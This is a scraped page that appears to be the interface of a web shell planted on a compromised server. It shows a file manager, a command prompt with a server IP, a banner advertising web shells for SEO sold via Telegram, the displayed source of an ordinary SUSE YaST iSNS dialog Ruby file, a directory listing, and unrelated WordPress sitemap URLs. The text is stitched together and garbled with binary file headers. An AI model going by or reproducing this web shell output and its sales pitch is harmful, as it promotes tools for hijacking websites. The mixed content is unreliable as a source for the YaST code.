xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	clients/isns.ycp
# Package:	Configuration of isns
# Summary:	Main file
# Authors:	Michal Zugec <mzugec@suse.cz>
#
# $Id: isns.ycp 28597 2006-03-06 11:29:38Z mzugec $
#
# Main file for isns configuration. Uses all other files.
module Yast
  module IsnsDialogsInclude
    def initialize_isns_dialogs(include_target)
      textdomain "isns"

      Yast.import "Label"
      Yast.import "Wizard"
      Yast.import "IsnsServer"
      Yast.import "CWMTab"
      Yast.import "CWM"
      Yast.import "CWMServiceStart"
      Yast.import "CWMFirewallInterfaces"
      Yast.import "TablePopup"

      Yast.include include_target, "isns/helps.rb"
      Yast.include include_target, "isns/widgets.rb"

      # store current here
      @current_tab = "service"

      @tabs_descr = {
        # first tab - service status and firewall
        "service"             => {
          "header"       => _("Service"),
          "contents"     => VBox(
            VStretch(),
            HBox(
              HStretch(),
              HSpacing(1),
              VBox(
                "auto_start_up",
                VSpacing(2),
                "firewall",
                VSpacing(2)
              ),
              HSpacing(1),
              HStretch()
            ),
            VStretch()
          ),
          "widget_names" => ["auto_start_up", "firewall"]
        },
        # second tab - iSCSI Nodes
        "members"             => {
          "header"       => _("iSCSI Nodes"),
          "contents"     => VBox(
            VSpacing(1),
            HBox(HSpacing(5), VBox("iscsi_nodes_display"), HSpacing(5)),
            VSpacing(1)
          ),
          "widget_names" => ["iscsi_nodes_display"]
        },
        # third tab - Discovery Domains
        "discoverydomains"    => {
          "header"       => _("Discovery Domains"),
          "contents"     => VBox(
            HBox(HStretch(), VBox("dd_display"), HStretch()),
            VStretch(),
            HBox(HStretch(), VBox("dd_display_members"), HStretch())
          ),
          "widget_names" => ["dd_display", "dd_display_members"]
        }
      }


      @widgets = {
        "auto_start_up"       => CWMServiceStart.CreateAutoStartWidget(
          {
            "get_service_auto_start" => fun_ref(
              IsnsServer.method(:GetStartService),
              "boolean ()"
            ),
            "set_service_auto_start" => fun_ref(
              IsnsServer.method(:SetStartService),
              "void (boolean)"
            ),
            "start_auto_button"      => _("When &Booting"),
            "start_manual_button"    => _("&Manually"),
            "help"                   => Builtins.sformat(
              CWMServiceStart.AutoStartHelpTemplate,
              _("When Booting"),
              _("Manually")
            )
          }
        ),
        "firewall"            => CWMFirewallInterfaces.CreateOpenFirewallWidget(
          { "services" => ["service:isns"], "display_details" => true }
        ),
        "iscsi_nodes_display" => {
          "widget"        => :custom,
          "custom_widget" => VBox(
            Heading(_("iSCSI Nodes")),
            Table(
              Id(:members_table),
              Header(_("iSCSI Node Name"), _("Node Type")),
              []
            ),
            Left(HBox(PushButton(Id(:delete), _("Delete"))))
          ),
          "init"          => fun_ref(method(:initISCSI), "void (string)"),
          "handle"        => fun_ref(
            method(:handleISCSI),
            "symbol (string, map)"
          ),
          "help"          => Ops.get_string(@HELPS, "iscsi_display", "")
        },
        "dd_display"          => {
          "widget"        => :custom,
          "custom_widget" => VBox(
            Heading(_("Discovery Domains")),
            HBox(
              VSpacing(5),
              Table(
                Id(:dd_table),
                Opt(:notify, :immediate),
                Header(_("Discovery Domain Name")),
                []
              )
            ),
            Left(
              HBox(
                PushButton(Id(:add), _("Create Discovery Domain")),
                PushButton(Id(:delete), _("Delete")),
                HSpacing(25)
              )
            )
          ),
          "init"          => fun_ref(
            method(:initDiscoveryDomain),
            "void (string)"
          ),
          "handle"        => fun_ref(
            method(:handleDiscoveryDomain),
            "symbol (string, map)"
          ),
          "help"          => Ops.get_string(@HELPS, "dd_display", "")
        },
        "dd_display_members"  => {
          "widget"        => :custom,
          "custom_widget" => VBox(
            Heading(_("Discovery Domain Members")),
            HBox(
              VSpacing(10),
              Table(
                Id(:dd_members_table),
                Header(_("iSCSI Node Name"), _("Node Type")),
                []
              )
            ),
            Left(
              HBox(
                PushButton(Id(:addiscsinode), _("Add Existing iSCSI Node")),
                PushButton(Id(:createmember), _("Create iSCSI Node Member")),
                PushButton(Id(:remove), _("Remove"))
              )
            )
          ),
          "init"          => fun_ref(
            method(:initDDISCSIMembers),
            "void (string)"
          ),
          "handle"        => fun_ref(
            method(:handleDiscoveryDomainMembers),
            "symbol (string, map)"
          ),
          "help"          => Ops.get_string(@HELPS, "dd_display_members", "")
        }
      }
    end

    # Summary dialog
    # @return dialog result
    # Main dialog - tabbed
    def SummaryDialog
      caption = _("iSNS Service")
      #curr_target = "";
      widget_descr = {
        "tab" => CWMTab.CreateWidget(
          {
            "tab_order"    => [
              "service",
              "members",
              "discoverydomains"
            ],
            "tabs"         => @tabs_descr,
            "widget_descr" => @widgets,
            "initial_tab"  => @current_tab,
            "tab_help"     => _("<h1>iSNS Service</h1>")
          }
        )
      }
      contents = VBox("tab")
      w = CWM.CreateWidgets(
        ["tab"],
        Convert.convert(
          widget_descr,
          :from => "map",
          :to   => "map <string, map <string, any>>"
        )
      )
      help = CWM.MergeHelps(w)
      contents = CWM.PrepareDialog(contents, w)

      Wizard.SetContentsButtons(
        caption,
        contents,
        help,
        Label.BackButton,
        Label.OKButton
      )
      Wizard.SetNextButton(:next, Label.OKButton)
      Wizard.SetAbortButton(:abort, Label.CancelButton)
      Wizard.HideBackButton
      #    Wizard::SetContentsButtons(caption, contents, help, Label::NextButton (), Label::FinishButton ());
      #    Wizard::HideBackButton();

      ret = CWM.Run(
        w,
        { :abort => fun_ref(method(:ReallyAbort), "boolean ()") }
      )
      ret
    end
  end
end

Filemanager

Name Type Size Permission Actions
complex.rb File 1.32 KB 0644
dialogs.rb File 6.92 KB 0644
helps.rb File 3.27 KB 0644
widgets.rb File 9.62 KB 0644
wizards.rb File 2.2 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml